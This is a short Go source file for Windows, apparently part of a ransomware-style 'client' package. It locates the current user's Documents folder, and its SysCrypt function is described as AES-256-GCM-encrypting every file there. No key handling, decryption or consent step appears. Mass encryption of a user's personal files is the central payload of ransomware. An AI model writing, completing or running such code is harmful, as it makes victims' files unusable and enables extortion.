//go:build windows package client import ( "fmt" "os" "path/filepath" "golang.org/x/sys/windows" ) // documentsDir returns the current user's Documents folder path via the // Windows SHGetKnownFolderPath API (FOLDERID_Documents). func documentsDir() (string, error) { path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0) if err != nil { if up := os.Getenv("USERPROFILE"); up != "" { return filepath.Join(up, "Documents"), nil } return "", fmt.Errorf("cannot resolve Documents folder: %w", err) } return path, nil } func defaultCryptDir() (string, error) { return documentsDir() } // SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every file. func SysCrypt() string { return EncryptPath("", true) }